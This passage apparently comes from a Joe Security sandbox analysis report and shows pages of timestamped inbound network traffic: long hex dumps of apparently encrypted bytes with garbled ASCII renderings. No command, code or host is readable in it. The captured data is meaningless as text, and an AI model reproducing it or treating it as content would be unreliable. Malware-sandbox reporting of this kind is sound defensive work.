ba 56 78 45 fe 35 b8 64 e3 c0 dc 82 ce 8a 02 1e 0b 34 9a c3 86 5c 9d c6 35 d3 db 69 70 aa c4 74 46 29 ce 84 40 f8 a7 2f Data Ascii: &c(_2q"0$wEJJ9mao^)j(20azbq<$>c"~Q\)Xk@("yTDcu*(7X4kqq[#i*rPd't24?:#oc?z~{jy+l+?P"VxE5d4\5iptF)@/

2021-11-08 19:52:14 UTC 1048 IN Data Raw: 2b f2 e5 7c 8d fb 39 0f 7a 44 c4 12 56 1a 4a 1d be fb 62 58 d7 90 8c 3b f2 a5 03 fd 4f 03 e1 66 13 ce 4a 98 07 9f 00 eb 02 ca c2 41 bd 1e f2 95 67 6f 03 41 a2 63 aa 39 e6 be f9 b6 95 83 de eb e1 c2 01 91 9a cd 8e d1 24 7d 11 3a f1 44 32 08 d0 e7 b4 8b 74 94 15 e2 d9 2e d0 ed d7 8a 97 70 36 de 09 c1 70 9e c1 25 75 17 f0 c9 8a 24 11 ef ee 23 7a 98 81 67 89 84 35 bc b8 ac b6 74 a4 6b 34 1c e9 3c 45 c7 d6 c2 df 79 6b 35 ff c7 b7 92 39 51 72 c9 89 0b e9 70 51 eb e4 51 96 40 74 8f 55 ab 06 9a bc 60 29 4c b0 ad 79 2f 61 20 cd ae 87 4e 2d 68 42 b1 c3 9c ab 5e 5b 91 35 64 64 60 ba b4 3e f4 b3 fc 12 62 c7 4e 7d 61 18 f6 bb 4a 05 20 8d 9b eb e0 fe 46 95 7a 67 14 4a fa ed f8 3b 17 f0 02 ad c1 57 41 17 f3 db 89 ce fa cc f1 48 64 91 f8 d2 07 a8 33 2b 98 4c aa b7 a9 b9 Data Ascii: +|9zDVJbX;OfJAgoAc9$}:D2t.p6p%u$#zg5tk4<Eyk59QrpQQ@tU`)Ly/a N-hB^[5dd`>bN}aJ FzgJ;WAHd3+L

2021-11-08 19:52:15 UTC 1064 IN Data Raw: b4 c2 ab f1 23 27 f6 1e 40 c3 af 8c 48 1a 5a 8e 0e 54 ac b7 c6 f0 0e f6 ff 4c d3 43 6b 47 75 8d 9f 5b aa 0f de a8 b2 85 e6 48 97 94 0c 5c c9 8c 03 10 0a 96 f4 10 14 bf 02 f6 33 3a 25 d9 ce ec 9d 02 d6 3e 29 fd 19 15 73 2c dd dd 8b 7e d2 a4 9e c9 56 d7 b4 68 b9 f4 f6 dc 9c 9e e3 30 0d 22 3f aa de bb 8c 98 32 f4 9b 61 28 35 5e 71 c8 59 d2 17 a9 cf cb 45 78 00 9d a1 e6 ce a2 0f 11 d3 60 c6 77 30 b4 f2 b6 56 5d f0 9c 00 e4 ad 0d b6 52 16 5a cc a4 fc db 92 78 a5 74 2f 20 3c 90 cc 04 97 99 5a d6 2f 61 12 7e 35 b5 ce 25 b6 0b ab 5b ff 82 5c 23 0f 10 60 bc 3a bc 38 09 07 8a 1e 62 8c df c2 13 bd 27 71 1b 1a c7 2e a2 4b 9b 3b a7 3c fa 01 91 53 59 9b da 01 70 74 9a d0 5d 67 59 79 7e 80 c5 74 53 aa 1a 84 25 86 60 78 36 fb fd 32 5b 34 5f df 51 7f de 32 8c e7 78 e7 46 Data Ascii: #'@HZTLCkGu[H\3:%>)s,~Vh0"?2a(5^qYEx`w0V]RZxt/ <Z/a~5%[\#`:8b'q.K;<SYpt]gYy~tS%`x62[4_Q2xF

2021-11-08 19:52:15 UTC 1080 IN Data Raw: 82 bd 5c a9 de b0 4b ec 5e 17 0c 1c 54 a7 3d 60 f2 ff 48 c2 b3 08 f2 9e e8 0a 75 df 98 30 2d 5e 32 d9 43 30 29 12 74 72 bf 47 ea ba f9 77 34 6b f6 ef 06 eb f5 88 4d a1 42 ca 96 4b 9f 86 fe 55 6d a2 d8 29 3e f9 dc c1 b3 9c ad b4 eb 1e e8 b5 28 a6 f5 1d 67 46 40 46 b2 1e 2c a2 13 21 0c 03 7f 78 a2 17 f6 56 48 53 82 57 12 48 d5 94 bc 47 38 ed 7b 78 59 56 82 a5 b3 8a 26 2b e3 e7 2e 32 4c ee c1 83 25 18 08 5c 73 2e eb f0 66 89 b8 62 7c 70 a1 1e cd 05 a5 45 0f 61 87 d6 87 a5 fa b7 cc ab 14 77 48 37 0e bc 09 07 1f bd 77 e7 8a fd fc 9f 48 8e fb d1 03 36 5d 4d 2a 37 72 2b ab 20 59 d5 7e a9 b0 d5 17 f6 1a 57 df f2 39 24 34 65 7b b5 2d 73 ad a4 ce 39 d7 51 1e 0c 6a 37 ab b3 89 9f 26 73 04 6d f8 ab 6c 46 55 09 64 0f 7e 95 8e 80 83 ba 0a b3 c3 83 ca c1 e9 2b ca 95 36 Data Ascii: \K^T=`Hu0-^2C0)trGw4kMBKUm)>(gF@F,!xVHSWHG8{xYV&+.2L%\s.fb|pEawH7wH6]M*7r+ Y~W9$4e{-s9Qj7&smlFUd~+6

2021-11-08 19:52:15 UTC 1096 IN Data Raw: ba 28 87 6d ec 83 b8 7a 8a 87 f8 14 b6 af a3 80 69 0f 5c 91 b6 e1 7c 18 87 62 08 27 83 9d fd 2a 97 3c 40 d7 e4 fa 2e 7e f3 ac 8a 9d 8b b3 71 ee 55 66 d4 70 11 af 0e d7 f7 e5 c1 5b db fa bf 2a dd 41 3e a1 d0 aa 99 2d aa 60 e0 c8 86 c7 c9 06 a8 2b d1 dc ac 51 a5 ed cf bd 4f ea 7c 28 aa b7 c0 ac a8 42 16 c1 22 43 01 af 1e 17 64 10 61 5c 84 d8 28 fa 0b 19 d1 88 18 1f f4 82 15 01 a0 aa a7 38 f6 4b e0 fe f0 5c 5b 5e b3 9d ff e9 72 80 90 e0 a2 e0 24 85 74 93 71 1a f8 e4 cd 77 ff 18 45 e0 61 95 5c c4 2d 9c 6f c9 0b 1d b8 04 1a 46 28 12 43 72 14 c4 54 4d ab 20 72 75 d8 85 e4 00 ce 5c 8d 83 16 fa b7 38 2a d0 d5 29 8e c1 d9 82 0e 02 64 f4 aa 16 35 9e 5e 30 ad 1b 75 e6 7f 66 bc 0f ad ac 17 a4 b9 2b cc 88 9d 6a 0e de 95 b9 88 fe 4a 0e a1 a3 23 b1 62 2d 2f 33 a1 9f c4 Data Ascii: (mzi\|b'*<@.~qUfp[*A>-`+QO|(B"Cda\(8K\[^r$tqwEa\-oF(CrTM ru\8*)d5^0uf+jJ#b-/3

2021-11-08 19:52:15 UTC 1112 IN Data Raw: ab 03 22 43 5d 2a 82 ba 2d da c6 c1 3b f1 ef 77 49 c4 c5 17 94 6f 98 fc df 74 9a c8 f1 90 9b f6 ed 66 15 94 eb e6 bf dc 6c 43 02 07 bc b7 89 ce cb cf 79 9d b4 47 63 f7 6f 57 3c 80 e7 3a c8 79 5c d7 96 ad 8f 5d 70 77 72 ec 8a 24 98 5bef d2 5c 4e 64 bb 58 aa 87 e1 d8 b1 ed e7 80 24 a9 98 2e 8d b2 0d 80 5e 20 04 b7 b2 69 fd 33 4e c5 a7 83 1a 00 9a 99 2f ce b3 39 40 0c 40 f9 b1 10 08 5e ee f3 77 af 4a b6 c4 fb 3a 33 2d 83 dd bb 56 2e 25 41 04 ca 14 b3 e3 5b a9 09 40 e8 66 86 55 a3 94 c1 14 f9 33 1d 5b 9a 3e ca 0d 6a 43 5d fc ff 44 52 04 e8 a1 0e 96 f2 32 8f 5e 07 99 14 c8 12 75 ad 8b 0e f8 79 b0 c3 ea 60 ba a4 10 54 59 74 e6 8f 4e c5 de e6 6d 0d da 35 2b f5 5a 5d ba 3c 69 e2 05 1a 9b 8c b8 04 5a a9 69 1d 4a 7d 4f cd 21 8a e9 09 24 0e a9 b1 12 39 ef ff 27 1c Data Ascii: "C]*-;wIotflCyGcoW<:y\]pwr$[\NdX$.^ i3N/9@@^wJ:3-V.%A[@fU3[>jC]DR2^uy`TYtNm5+Z]<iZiJ}O!$9'

2021-11-08 19:52:16 UTC 1128 IN Data Raw: 3b f2 0a 6f b9 12 29 f1 32 a4 7c a2 fd b0 f7 cb 9c a6 ae b0 66 88 c7 b8 aa e5 12 8a 75 31 49 0e 6f 9b 3f 67 dc 40 10 3b db c7 0c 6f 85 0c 94 b6 fb e2 58 8e 4d 97 c9 b6 6a ed cd 9f 83 87 68 7c b9 66 c9 ab e7 74 89 ed c8 da af 6d a6 a1 52 35 89 85 49 42 d8 e9 51 ab 06 4d f6 7a 94 ce 52 e6 26 a4 f2 ce fc d0 8f bb d2 a4 bc aa 6f c5 90 6a 7e 13 76 d5 b4 00 47 ae e3 9f 9f 26 94 50 c4 cb dd 75 58 48 6d d2 91 ca 37 12 22 6d 2c 5e db 0f 1a 70 41 ac c6 c5 e7 5c be 13 d0 4e 7a 3a fc f8 be 1f 39 56 76 07 77 2c e7 2e 83 6e ad e1 33 ca 57 27 0b e5 d6 a6 6e 62 4c c9 18 1e bc 7c bd c4 d9 06 25 6d 9b 9f ff 1a 44 ee 58 c1 48 fa f4 56 6c a6 a5 dc 78 49 17 db 61 06 d2 40 bd 65 08 4f eb 54 6e 11 51 9c 7e 31 16 a0 e8 cf 64 f9 8c 44 d5 2a 0d 0c 67 6f e5 0c 95 47 c9 db fa a1 73 Data Ascii: ;o)2|fu1Io?g@;oXMjh|ftmR5IBQMzR&oj~vG&PuXHm7"m,^pA\Nz:9Vvw,.n3W'nbL|%mDXHVlxIa@eOTnQ~1dD*goGs

2021-11-08 19:52:16 UTC 1144 IN Data Raw: 3f c2 1c e2 38 89 61 bb c3 de 9a 5f 4b 31 90 61 84 d6 39 d8 05 c4 62 94 51 fa e6 57 87 5e 44 5e 44 58 75 40 ca 81 cc 47 f1 41 d1 0f 55 d6 55 a1 6b e9 19 a9 1b 8c 4c bd e7 5c 6a 11 b7 08 1e d8 c8 48 ff e6 f3 60 29 c9 69 b1 26 c9 a8 25 99 82 c7 20 8e 39 a5 12 99 39 3f b8 8d 71 dc a1 72 8a b6 17 02 db 51 3b 0d 80 3a 96 be 01 26 bf f4 3d c6 fa e7 22 9e 1f fc 2b ec aa 89 ad 37 a9 52 62 03 05 f9 43 99 6a 62 04 c4 34 f4 ae 4d 13 85 1f ad bd f9 6d fa b8 fb 0c fd 9b 67 6d ef 61 31 b5 80 40 58 19 a8 78 eb ee 3d 1f 74 d1 74 23 67 11 09 1b 6b 0c 11 7b ac 4b 40 10 a2 38 63 f7 3d 95 7a 68 7b af ef c0 bd b1 8d c4 e5 95 84 e9 4e 7d e0 00 47 48 54 29 d5 5e 9b d9 67 96 6d 25 bf fb 32 77 87 8b 17 ed 95 13 ab 54 1c 39 6a 16 73 6a b4 46 b0 46 fc e8 ee 17 b4 1d eb 8e 51 73 79 Data Ascii: ?8a_K1a9bQW^D^DXu@GAUUkL\jH`)i&% 99?qrQ;:&="+7RbCjb4Mmgma1@Xx=tt#gk{K@8c=zh{N}GHT)^gm%2wT9jsjFFQsy

2021-11-08 19:52:16 UTC 1160 IN Data Raw: 08 8c 7b 5f fc 74 38 04 81 89 1a 33 54 ed d7 ed d7 8a ea be 22 bc e4 61 21 ec 68 55 aa 2f 39 8a 3e 5d 8b b9 0e 97 eb 12 06 8a bb 27 75 d4 22 19 bb 76 61 45 e9 12 ba 22 21 44 d3 cb 3e 78 45 17 df 16 21 40 cc a4 fe a0 1a 75 2b 20 bb 87 2d a6 29 32 b6 2f 36 7b 1c 9e 6e d1 02 02 c7 65 8a 7b 04 45 c2 26 04 ef fe 3e 52 13 ee cf 42 25 7f 51 5a bf bd cf c2 46 60 ef 9a 30 8b 4e 1b 77 03 85 8f f1 5f 27 f2 84 55 e3 45 73 9b 8a 77 e1 23 b4 f9 73 c0 25 b5 e3 4e 96 78 1e 1b 60 f1 a3 d3 b2 26 01 e3 94 34 93 4b f9 a7 32 5e 6d 79 cb cb 75 ad e1 d4 af 9d ed 4f ac 72 f4 f0 f7 2b be 5c 04 c9 ce 8a 91 13 5d 61 bc 8d 26 09 09 1d bd 8c 72 3d 5d b4 6e 94 55 c6 9a 6c 00 a6 fb 2c 55 ae 70 36 e3 fe ce b0 c7 40 33 24 5e 93 1e 63 b0 d5 6a 59 39 a0 56 80 2e e7 47 a7 01 1d bb 54 57 a2 Data Ascii: {_t83T"a!hU/9>]'u"vaE"!D>xE!@u+ -)2/6{ne{E&>RB%QZF`0Nw_'UEsw#s%Nx`&4K2^myuOr+\]a&r=]nUl,Up6@3$^cjY9V.GTW

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 27 of 51

2021-11-08 19:52:17 UTC 1176 IN Data Raw: b0 91 ed 40 c9 ce 6d 6a 9a 7a f7 c8 ed 46 a5 23 69 5f d6 6d 37 76 0a 32 4a 03 30 ca ab 23 2c 33 12 67 41 df aa 28 11 ae fd 83 56 d5 46 72 d8 4e 55 07 77 b6 98 f9 44 6f 24 aa bf c3 17 dd 6a 0b 69 ea a0 c5 95 da 8c a9 82 a0 c5 42 60 0f 35 54 63 21 d4 ea 18 b1 53 3a 6b c2 d5 b4 ed d0 49 7f b0 94 72 ac 63 f9 47 f5 bc ca bd 57 28 a8 63 84 9d 5d d9 9b 39 18 35 00 2c 93 ff 80 95 f4 2c e2 c0 4e a7 2d ce 13 cd a2 63 73 5b ff f1 9c 4b 6a 41 32 41 84 dc 7d 0a 6c e7 d3 b9 e9 b1 46 3f 34 e7 ce 18 86 b2 90 f8 3b 2f 1b 82 45 e6 35 0a aa 0a 5f 58 a9 4e bc b4 b6 04 35 8d 24 e5 f8 c2 b7 42 bc bf 67 49 90 73 29 96 1f c1 b6 d3 74 88 36 7b 61 a4 7c 21 1a b3 81 bd f1 f9 86 ce 1b 66 7a 29 79 bc f6 d3 96 0e d2 6b 44 0d 2b fe 43 b3 c9 af 5f 39 4e de 9e a1 65 93 af 81 52 48 87 6e Data Ascii: @mjzF#i_m7v2J0#,3gA(VFrNUwDo$jiB`5Tc!S:kIrcGW(c]95,,N-cs[KjA2A}lF?4;/E5_XN5$BgIs)t6{a|!fz)ykD+C_9NeRHn

2021-11-08 19:52:17 UTC 1192 IN Data Raw: 6b 22 95 0d 3f 51 90 bd b0 ae 21 74 d4 84 dd d0 87 f6 68 cf 35 06 ef 92 02 8a f3 7c 3a 95 97 09 3f c0 83 40 3f 06 4d 70 66 98 26 60 1c 6b 7d b6 6c f9 9b 80 f7 e0 00 f5 e4 9a 5f 61 d7 5f a9 fd ab 7c eb 7c d0 1f ac ff df 47 09 c3 48 03 cc8e b2 83 c1 05 56 e9 41 8d b8 72 41 43 82 ac bc e2 0f 49 a9 00 9f 05 df a2 d4 05 e8 8a e9 89 6f 01 3c 58 e1 ad 18 54 ca 6e 61 1c e9 5a 09 60 64 c5 f1 0e 73 4a 07 70 c5 2b 82 d8 93 e3 81 09 77 04 a0 5b 6d 72 23 37 c5 e4 31 37 e8 7b 6b 81 1a 6e 7b e3 fb 33 d5 0d e1 23 8b 57 99 4b f9 cc ab 8c 7c 43 ea e8 c1 5c 5e fa df 2e 5b 77 c6 ed a8 26 ca 2c 86 ae 7e 29 09 5f 5a 08 10 a1 f8 30 6f 92 1b 9a 40 b1 ff 09 93 4e 7c 74 b6 52 7f 98 30 3d 87 46 4f e1 8e 39 7e 8e a4 98 9d e6 b0 7f ec 05 2e 32 d4 81 a8 7e d8 56 43 6d 68 c8 f9 b6 08 Data Ascii: k"?Q!th5|:?@?Mpf&`k}l_a_||GHVArACIo<XTnaZ`dsJp+w[mr#717{kn{3#WK|C\^.[w&,~)_Z0o@N|tR0=FO9~.2~VCmh

2021-11-08 19:52:17 UTC 1208 IN Data Raw: 80 45 74 17 35 6b 29 1c 15 9c 49 98 5c 59 7e bf 39 f5 7f bf 55 5e 1a 62 ea a6 7a 68 61 bb d2 1d 63 e1 99 48 de 88 5e b5 39 93 b4 7d d3 f0 d6 a7 76 db 36 cb e3 cd e5 78 de 90 0f 13 55 df ea 5f 8f 3e a6 95 97 c5 8d 5f 47 3b 98 80 a3 26 e6 2a 5e 28 43 b5 70 95 f7 01 34 91 c0 e9 8b 06 c1 0d bc 2e 62 42 64 24 7e f2 55 bf b3 20 e3 24 4a ba d9 1b af d1 68 40 ea 90 a9 d1 20 94 1b 4c 63 34 fe 88 31 a9 ee 9a b3 4b 35 28 3c 0d 4f 64 98 d1 4c aa 8a e2 15 58 45 b6 24 d5 c1 a0 b8 1b 21 0a 6a 92 a1 9d c4 88 33 c3 9f 66 f6 7e f0 48 7d f5 62 2b 82 0f d7 d3 63 47 32 a5 10 5a a3 0c 00 34 f1 4a ba 26 35 09 23 a7 4d 04 c7 ae 58 e5 b1 3c 44 aa e7 01 64 36 f0 be d5 f4 37 db 59 de c3 32 58 76 74 f9 1d ae 6a d6 76 c9 d3 07 64 0e cd 8e c2 db 02 10 ca 4c 55 59 69 1d 4d 1d fb af 8c Data Ascii: Et5k)I\Y~9U^bzhacH^9}v6xU_>_G;&*^(Cp4.bBd$~U $Jh@ Lc41K5(<OdLXE$!j3f~H}b+cG2Z4J&5#MX<Dd67Y2XvtjvdLUYiM

2021-11-08 19:52:18 UTC 1224 IN Data Raw: 72 9c 2e 62 6c 46 e0 2c ef d3 dd 7d c8 6e b9 17 20 cd 15 c6 91 cb 8e 6d 81 ed 6e bd 57 d9 45 3f dd bb 28 4f 7b08 a1 77 06 85 69 f5 38 16 cc a1 15 63 93 28 68 14 63 71 7c d2 3e f7 cd 3b 58 fb 43 db 1d 61 2e 62 bd 03 07 e5 8f dc 58 e1 8f 53 8d 74 ed 0f 66 11 e0 55 a5 d0 f1 1e 43 dd 09 5a a3 d1 e3 89 51 95 b7 6f 69 c9 e2 ae 62 1e 80 a8 2c 07 be 35 b8 8d 37 0c 69 d8 08 6d 63 aa a1 e2 ac d7 6a a6 4d 26 af 43 61 8a 4d 1b ef 23 4b f3 c6 80 88 8a 62 89 2f 03 77 49 31 c2 4b 27 22 d6 88 3b c2 7b 94 ba 0c e8 cd 6f 8e 0e 39 79 e0 0c ba c0 cc 3e cf ad e5 df 4f 37 38 03 e7 96 23 9e f5 c9 2b 82 8e 1c0e 69 da cb 60 f2 23 98 d8 fd 13 8f b4 0a fc 24 23 9b a0 97 c4 6f d4 40 20 79 06 06 b9 29 a5 cc dd 11 90 b8 98 ee 9b a6 a5 ce f5 75 1b c1 04 3c 1d 37 b3 a3 2d ee 1c e8 64 Data Ascii: r.blF,}n mnWE?(O{wi8c(hcq|>;XCa.bXStfUCZQoib,57imcjM&CaM#Kb/wI1K'";{o9y>O78#+i`#$#o@ y)u<7-d

2021-11-08 19:52:18 UTC 1240 IN Data Raw: 07 64 6c 08 64 fe 29 81 81 5f 58 b8 19 ef 37 e7 52 d4 3e 70 6f e7 c4 49 e8 58 7a da b1 98 f4 02 85 e4 8b 5e c8 f1 53 f0 8c 42 6f d5 3f 22 2c ef bb e7 73 51 06 63 62 c1 e8 b9 2f 51 8d c6 6f 04 db a9 07 fc f9 4a 94 13 e3 32 22 61 dc 5f 44 f3 f6 f8 7e 86 ea 43 37 ab 81 cd a4 d8 a8 4e 25 78 a1 9d c1 c1 29 43 2d 17 b0 23 de 3b 5c bb c2 41 85 39 3e 57 cb bf 09 d8 c2 ed 36 a7 de 13 e9 84 0b 46 45 36 71 c5 c1 62 ca 98 23 18 c2 7d 03 a2 68 df b2 21 50 67 e7 84 5a 5b a8 7a 9c 82 b7 7d 33 0d 0a cd d3 14 71 87 44 8a 3e 15 b7 30 14 fc 8f 93 10 e7 5a 76 f6 3d fe ab 3c 7a 9e 6a 47 f6 44 27 29 55 7a 16 29 86 ca 4d c0 de 1b de d6 12 5b a7 f9 e5 84 6a 8a a8 fd ee 42 29 5a 5f be 60 eb 11 d3 49 ad f5 cb c2 ab d4 61 0d 8e e8 c3 4a 99 d8 fe b2 d8 99 8e d9 4f 23 ce e0 94 bc ad Data Ascii: dld)_X7R>poIXz^SBo?",sQcb/QoJ2"a_D~C7N%x)C-#;\A9>W6FE6qb#}h!PgZ[z}3qD>0Zv=<zjGD')Uz)M[jB)Z_`IaJO#

2021-11-08 19:52:18 UTC 1256 IN Data Raw: 95 05 b1 64 c0 ec 4c 85 0e 34 1f fc 2f c0 b9 8e 4f 2d 66 43 ac 21 7a 67 e7 ff a9 75 c0 de cf e6 15 6c 0b f0 7a 75 68 84 78 10 05 af 62 d2 4f 20 fa 3a 60 c8 a7 37 64 cb aa 9a ae fe d0 95 85 7e 3e f8 ec b4 05 0e ca e3 1f d6 7b ec fd cb 6e b3 ee ae a2 d6 b9 79 04 11 2e 7e 93 fe f8 51 c1 f6 e8 5d 1b 67 e9 5d 45 ed 20 8d 9f fa 18 0c af e3 a0 ea 01 e4 15 cb 64 4f d3 b3 ce ce b2 c3 4a 7c ed 54 50 bd c0 d3 b0 c1 de 35 8a 6a 0a d8 d9 79 d1 20 36 24 58 ef 87 26 f7 e6 1d c5 bf fb 6ac4 fa b1 a0 2f 63 1b bd 10 9a cc 42 13 be 65 01 64 cd 32 9e 34 3d 2a 0a 3f 67 45 14 0d 68 53 5e 3f d3 1e 1e 69 c7 07 16 01 93 b6 76 de b3 f5 5b a9 19 80 3d 10 f6 31 42 7e 5b 38 ed f5 03 b3 85 66 b7 f3 7b ee ac 52 ac 2f ba c8 24 d7 7a 6e 5a 8d 18 3f 59 32 ff fe 33 2a f3 93 28 9a ab f4 2d Data Ascii: dL4/O-fC!zgulzuhxbO :`7d~>{ny.~Q]g]E dOJ|TP5jy 6$X&j/cBed24=*?gEhS^?iv[=1B~[8f{R/$znZ?Y23*(-

2021-11-08 19:52:19 UTC 1272 IN Data Raw: 3c 4e c3 3c 73 fa a0 50 5d a4 da bb a7 56 d8 3e 70 18 93 83 98 50 dc 9c fa d0 1d 8b 85 75 20 67 26 6a d8 8f c8 75 4e 07 ec 70 4b 76 6d 7c 50 19 0f 49 77 ac 49 77 15 36 4d 6d 12 a5 3b 27 dc 00 7a 0f 71 c7 58 c8 e0 16 7f 77 38 26 8a 33 98 fe 69 e6 8f c0 5a 99 3c 11 12 3c 6d ad af 68 64 fa 96 0f d3 50 9b e7 2f ca 74 67 a1 b8 98 d0 e8 cd 86 21 df 5e aa 7b 40 be e9 3f f2 87 54 4b a2 7e ad a9 7d 63 a9 3a 7c 2f dc 18 d8 c8 b8 73 87 88 1c 47 73 18 9e 28 48 ec c0 00 24 7c 0c 1e fb 7c ae a5 32 9d 2f 9b b5 bc 83 39 18 34 05 d2 e6 37 d7 cb ce 7c 7b a6 b9 17 ea 4b 5f 4f 3b d7 70 6f 4e 19 81 56 c1 35 b9 60 31 45 42 31 1a 9c 48 ef 2f a9 27 bb db 48 c3 2a 56 42 9d 98 b6 08 75 af 3c e6 8f cb 6f 66 b6 33 46 e8 6c e8 ba 54 b0 33 97 21 e6 f9 97 d1 8b 88 55 08 0a de 1b 68 d1 Data Ascii: <N<sP]V>pPu g&juNpKvm|PIwIw6Mm;'zqXw8&3iZ<<mhdP/tg!^{@?TK~}c:|/sGs(H$||2/947|{K_O;poNV5`1EB1H/'H*VBu<of3FlT3!Uh

2021-11-08 19:52:19 UTC 1288 IN Data Raw: 39 79 93 ba 73 21 3e a0 49 35 98 44 d7 9f f6 5e d0 37 b9 fa 4c 7c db 8d 16 fa 51 c5 13 46 d0 ce 6b 28 a2 33 ad 07 97 e9 30 91 3b cd 47 77 e9 41 d6 c2 0a a2 3b fd 33 b4 98 a0 13 41 5f ef 56 f3 50 ff fd ec 71 6b d7 84 f1 01 cc 1b ef 2c 9e 9b 49 6c 49 45 56 f7 8b 37 95 20 08 57 a9 0d c3 ae 37 fb 27 9b f1 30 a8 5a 8a 6d a3 20 db 48 0d 9f e3 eb 49 2b 60 8e 27 77 c3 ee d4 39 3d 08 00 90 54 4b b0 51 e3 45 c8 41 b9 fd 62 66 12 81 26 b5 a2 4d 3e a9 88 5b c7 d8 1a bd ce a3 77 6e b2 84 f9 6d 45 84 25 8f 08 50 a8 53 00 d7 47 2c be 0a 45 0d 99 6d 97 70 b2 53 ed 8d 40 3d 54 6c e8 36 fc 3b 67 35 c5 92 a1 37 ec df 14 2d 1a d3 b6 0f 90 e4 5d 51 dd 3f e6 57 eb 63 83 0c a3 7c b8 74 d8 27 ed 50 00 79 48 e8 54 44 63 cc 7f 66 ce 44 da b1 d3 b5 6d c7 ad 93 0a ed 36 61 ef 32 4a Data Ascii: 9ys!>I5D^7L|QFk(30;GwA;3A_VPqk,IlIEV7 W7'0Zm HI+`'w9=TKQEAbf&M>[wnmE%PSG,EmpS@=Tl6;g57-]Q?Wc|t'PyHTDcfDm6a2J

2021-11-08 19:52:19 UTC 1304 IN Data Raw: 30 e2 c5 e1 dd 77 61 a1 a3 d8 fe c6 75 49 bd 14 d2 c8 06 bb d4 1f ff 4d 9f 47 69 60 f5 26 84 60 9c 4e 78 74 ff 10 8f f6 34 af aa 33 85 6b be ff 30 a7 48 65 82 c2 e4 c0 65 43 64 dd 94 3d e6 59 3e 9c 11 50 61 8e a7 80 37 66 02 77 37 d5 20 b3 ca bb a6 7d b6 3a e1 10 8d 34 78 73 6c 55 94 3d 52 4f cd 36 5e 3c 6f 3e d7 53 66 7d f4 9b 14 5d df 98 58 3a cf b2 97 a1 aa a4 6f 7a 4d 9c 90 bf 01 8b c1 0f 0e f0 89 a3 68 78 b5 de 11 c3 ba 1b b8 25 90 86 5d 7f 02 ce 36 a0 07 06 84 c3 d0 3f df 19 88 ec 9f 74 7a 30 f7 96 06 43 6c 66 a0 90 35 22 71 07 6c 9f a3 5b 35 4e a8 d3 78 cc 66 e1 d1 5e 03 06 54 08 45 66 5b 5d 12 b2 4c 1d 68 92 8b 04 93 5d 92 b5 a1 0d eb 5a a0 d4 65 e6 97 09 9d ad 92 87 1d 26 1e a2 be 0f fe ce 2a cf cd f4 b1 70 a2 84 4d 3b 62 b6 ae ff 50 44 c1 f5 34 Data Ascii: 0wauIMGi`&`Nxt43k0HeeCd=Y>Pa7fw7 }:4xslU=RO6^<o>Sf}]X:ozMhx%]6?tz0Clf5"ql[5Nxf^TEf[]Lh]Ze&*pM;bPD4

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 28 of 51

2021-11-08 19:52:20 UTC 1320 IN Data Raw: 9b 68 30 13 b8 de 20 89 5f c6 a7 a2 c4 69 fb fd 7a a1 6f 37 96 db df 2b 24 96 5e 4e c8 0c ba e8 50 89 87 81 5a 09 fb 88 cd e5 0e 77 0c fb ca 56 d3 b5 c2 ec d5 43 35 eb 52 2c 71 06 5f 74 81 53 9e 88 3d c7 4a 5e 9b 4d 87 30 cc 85 4f fd 51 78 1d 6c 96 5b 16 e3 9b 59 1a 68 2f 7d 97 47 68 43 04 03 55 02 a3 d4 23 0e 83 a8 22 6d 1c ed 48 70 66 37 c4 ec 2f 54 7c 13 0e 5d 4c 8b d4 d7 50 97 7b b0 77 62 12 d4 47 c2 b1 30 c2 1d e7 93 0b 1a 64 f1 f1 61 b4 e1 50 5e 14 0c 10 52 77 90 68 53 2c 8d 1e ba 4a ad 87 25 85 ac 97 7c 49 cb dc ae f2 80 e2 43 5e 4c 03 76 a1 aa db 72 4f 94 9f c9 df 5c 3f 54 fc 81 87 65 0f 6e ca b3 af c5 00 9b 4e ec 11 c3 fc d7 db 54 e7 e7 b7 87 87 1e 45 85 67 60 12 62 ba e8 32 e1 f4 a5 09 ee 61 01 f4 2b b5 0c ff fe fd df 9c a3 ad da 44 f7 f7 ae bd Data Ascii: h0 _izo7+$^NPZwVC5R,q_tS=J^M0OQxl[Yh/}GhCU#"mHpf7/T|]LP{wbG0daP^RwhS,J%|IC^LvrO\?TenNTEg`b2a+D

2021-11-08 19:52:20 UTC 1336 IN Data Raw: 3a 82 e6 40 46 fc 77 e4 e2 c7 b2 b9 6b da f7 e6 6d 02 a7 e9 f3 b3 01 c2 b6 3b 45 0e 7e 3a 14 34 ba d4 99 48 46 03 a6 0a b7 56 3b 02 56 59 aa 95 79 c1 5f 5c fa 22 01 3c 42 f6 38 11 84 e3 05 63 1c 86 82 60 f3 a6 32 c8 ea 3c 76 be b0 67 08 d8 07 9a 44 ac a4 65 ba e9 e7 4d c4 2c 0b 14 b2 a7 0d ba 73 0b 59 2c 17 0a 95 a5 b1 6c 66 95 e9 63 ad 43 75 83 7f e4 c9 31 8c 3d f3 ef 41 dc c3 b3 28 b1 72 4d c1 6b e9 cf bf 1c b5 66 cb ac b8 d1 95 68 77 2d 02 84 8f 7b 3e 7b 45 1d 87 e3 53 d8 ac 3d 25 5a 6c e3 77 bc 26 06 e5 91 39 a6 43 ae c4 ad dd 90 1a 5f b8 f5 7d df 8a 12 b4 6a 97 ca 50 fc 58 f4 cd c0 05 5a 7f 2f bd 2f 5c fd 71 58 9f ed 77 0d df f1 e5 0f d2 c0 c0 a1 8a 69 44 d0 1e 1f d2 7a 86 f7 09 bc 87 3b 15 5a 35 91 f4 2e 5c 5d 21 27 bf e5 b6 a4 7c 0b 9c 64 23 75 1e Data Ascii: :@Fwkm;E~:4HFV;VYy_\"<B8c`2<vgDeM,sY,lfcCu1=A(rMkfhw-{>{ES=%Zlw&9C_}jPXZ//\qXwiDz;Z5.\]!'|d#u

